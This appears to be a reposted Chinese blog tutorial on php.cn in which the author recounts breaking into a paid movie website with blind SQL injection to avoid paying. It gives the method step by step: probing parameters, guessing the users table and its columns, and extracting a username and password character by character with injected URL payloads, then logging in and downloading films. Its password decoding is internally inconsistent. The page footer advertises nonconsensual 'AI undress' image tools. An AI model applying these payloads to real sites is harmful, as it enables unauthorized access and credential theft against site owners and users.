首頁 資料庫 mysql教程 SQL注入网站入侵实例_MySQL

SQL注入网站入侵实例_MySQL

Jun 01, 2016 pm 01:57 PM
使用者名稱 計劃

这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)

  1.寻找入口
  准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
  尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
  经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。

  2.观察网站环境
  网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。

  3.猜表名查清楚敌人情况之后,开始行动
  行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
  如果猜对表名,将有可能出现下面三种情况:
  A.显示某部影片的信息(巧合的情况)
  B.显示影片找不到(如果有判断是否为EOF)
  C.提示错误信息(EOF OR BOF)
  如果猜错,将会直接提示找不到表名。
  把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
  结果,成功猜中该网站的用户名表名为users

  4.猜列名
  至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
  果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money

  5.锁定目标
  让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000)   结果:提示子查询不能返回两条以上记录
  锁定>10000,提示不变;
  锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
  从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。

  6.计算用户名及密码长度
  因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
  搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8

  7.分步破解用户名
  有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
  呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
  同样方法,得出:
  asc(mid(UserID,2,1))=117
  asc(mid(UserID,3,1))=97
  asc(mid(UserID,4,1))=106
  asc(mid(UserID,5,1))=105
  asc(mid(UserID,6,1))=101
  因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie

  8.同样的方法破解密码
  asc(mid(Password,1,1))=49 => chr(49)=1
  asc(mid(Password,2,1))=57 => chr(49)=9
  asc(mid(Password,3,1))=55 => chr(49)=7
  asc(mid(Password,4,1))=56 => chr(49)=8
  asc(mid(Password,5,1))=48 => chr(49)=0
  asc(mid(Password,6,1))=55 => chr(49)=7
  asc(mid(Password,7,1))=55 => chr(49)=1
  asc(mid(Password,8,1))=55 => chr(49)=2
  拼起来:19780712,哈哈,又是用生日做密码的!
  接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

win11提示若要繼續,請輸入管理員使用者名稱和密碼怎麼解決? win11提示若要繼續,請輸入管理員使用者名稱和密碼怎麼解決? Apr 11, 2024 am 09:10 AM

當使用Win11系統時,有時會遇到需要輸入管理員使用者名稱和密碼的提示,本文將探討在遇到這種情況時應該如何處理。方法一:1、點選【Windows標誌】,然後按【Shift+重啟】進入安全模式;或這樣進入安全模式:點選開始選單,選擇設定。選擇「更新與安全」;選擇「恢復」中的「立即重新啟動」;重新啟動進入選項後選擇-疑難排解-進階選項-啟動設定—&mdash

如何在 14 天前更改 Instagram 上的名稱 如何在 14 天前更改 Instagram 上的名稱 Apr 16, 2023 pm 02:40 PM

在社交媒體的早期,您可以多次更改您的個人資料名稱,但現在在任何社交媒體應用程式上更改您的姓名都有其自身的一套限制。如果您一直想更改您在Instagram上的顯示名稱或用戶名,下面的帖子將解釋您可以更改它們的頻率、如何進行更改,以及當您無法在Instagram上更改您的名稱時可以採取哪些措施該平台。如何更改Instagram上的顯示名稱和使用者名稱? Instagram為您的姓名提供了兩個位置——您的顯示名稱和您的用戶名,幸運的是,您可以在行動應用程式中輕鬆更改這兩個位置。顯示名稱是您通常輸入真

修復:出現問題 Oobekeyboard Ooberegion Oobelocal oobe 設定問題在 Windows 11 / 10 修復:出現問題 Oobekeyboard Ooberegion Oobelocal oobe 設定問題在 Windows 11 / 10 Apr 17, 2023 am 09:01 AM

OOBE或開箱即用體驗是為使用者設計的流程,用於引導他們完成安裝後步驟的各個階段。這包括權利和協議頁面、登入頁面、WiFi或網路連線選項等。如果您收到任何OOBEKeyboard、OOBELOCAL或OOBEREGION問題,則無法繼續進行最後的安裝步驟。不用擔心。您可以使用一些簡單的修復程序來解決此問題。解決方法-在你做任何其他事情之前,請嘗試這些正常的解決方案-1.當您收到錯誤提示時,請繼續點擊「再試一次」提示。至少繼續嘗試7到8次。 2.檢查網路連通性。如果您使用的是乙太網路連線或Wi

怎樣透過幾個步驟取得您的 Steam ID? 怎樣透過幾個步驟取得您的 Steam ID? May 08, 2023 pm 11:43 PM

現在許多熱愛遊戲的windows用戶都進入了Steam客戶端,可以搜尋、下載和玩任何好遊戲。但是,許多用戶的個人資料可能具有完全相同的名稱,這使得查找個人資料或甚至將Steam個人資料連結到其他第三方帳戶或加入Steam論壇以共享內容變得困難。為設定檔分配了一個唯一的17位id,它保持不變,用戶無法隨時更改,而用戶名或自訂URL可以更改。無論如何,有些用戶並不知道他們的Steamid,這對於了解這一點非常重要。如果您也不知道如何找到您帳戶的Steamid,請不要驚慌。在這篇文

鐵路12306用戶名怎麼填寫 鐵路12306用戶名怎麼填寫 Feb 23, 2024 pm 04:07 PM

鐵路12306用戶名怎麼填寫?鐵路12306APP中是可以填寫用戶名的,但是多數的小伙伴不知道鐵路12306如何填寫用戶名,接下來就是小編為用戶帶來的鐵路12306用戶名填寫方法圖文教程,有興趣的用戶快來一起看看吧!鐵路12306使用教程鐵路12306用戶名怎麼填寫1、先打開鐵路12306APP,主頁點擊下方的【註冊】;2、然後在註冊的功能頁面,輸入用戶名、密碼、確認密碼等等;3、最後輸入完成之後即可填寫用戶註冊。

wifi使用者名稱是什麼 wifi使用者名稱是什麼 Mar 21, 2023 am 11:32 AM

wifi用戶名是指無線路由器的管理用戶名,這個用戶名和路由器的IP位址以及管理口令的預設值通常都印在無線路由器的底部,在無線路由器的說明書上也能找到;多數路由器的預設管理用戶名都是admin,管理口令也是admin。

谷歌瀏覽器怎麼修改使用者名 谷歌瀏覽器怎麼修改使用者名 Apr 07, 2024 pm 02:40 PM

谷歌瀏覽器怎麼修改使用者名稱?如今越來越多的人喜歡使用谷歌瀏覽器,這款瀏覽器能夠為用戶提供豐富的功能和服務,用戶登錄帳號之後即可體驗全部的功能,不少用戶在建立帳號的時候隨便取了一個暱稱,後​​期想要修改使用者名稱該如何操作呢,相信大家都想知道吧。本篇文章就帶給大家Google瀏覽器快速更改使用者名稱步驟介紹,大家不妨來看看了解一下。 Google瀏覽器快速更改使用者名稱步驟介紹1、第一步,我們打開Google瀏覽器之後,在頁面右上角開啟三個豎點圖示(如圖)。 2.第二步,開啟三個豎點圖示之後,我們在選單清單中點選開啟「設定」選項(如圖

華為 P70 直接開啟先鋒計畫 正式開售 華為 P70 直接開啟先鋒計畫 正式開售 Apr 19, 2024 pm 01:58 PM

中關村消息:4月18日早上,華為突然宣布P70系列手機開啟先鋒計畫正式開售,想要購買的朋友要準備行動起來了,按照以往慣例,華為的旗艦手機非常搶手,會一直處於缺貨狀態。這次華為P70系列改名為Pura,意為純粹。在此前華為餘承東表示:自2012年起,華為P系列智慧型手機便如同忠實的伙伴,伴隨全球億萬用戶度過了無數珍貴時刻,共同見證了生活中的美好與精彩紛呈。他深刻感悟,每位選擇華為P系列的用戶所給予的信任與熱愛,無異於一股強大的推動力,始終鼓舞著華為在創新之路上堅定前行。 Pura的意思是純粹的。

See all articles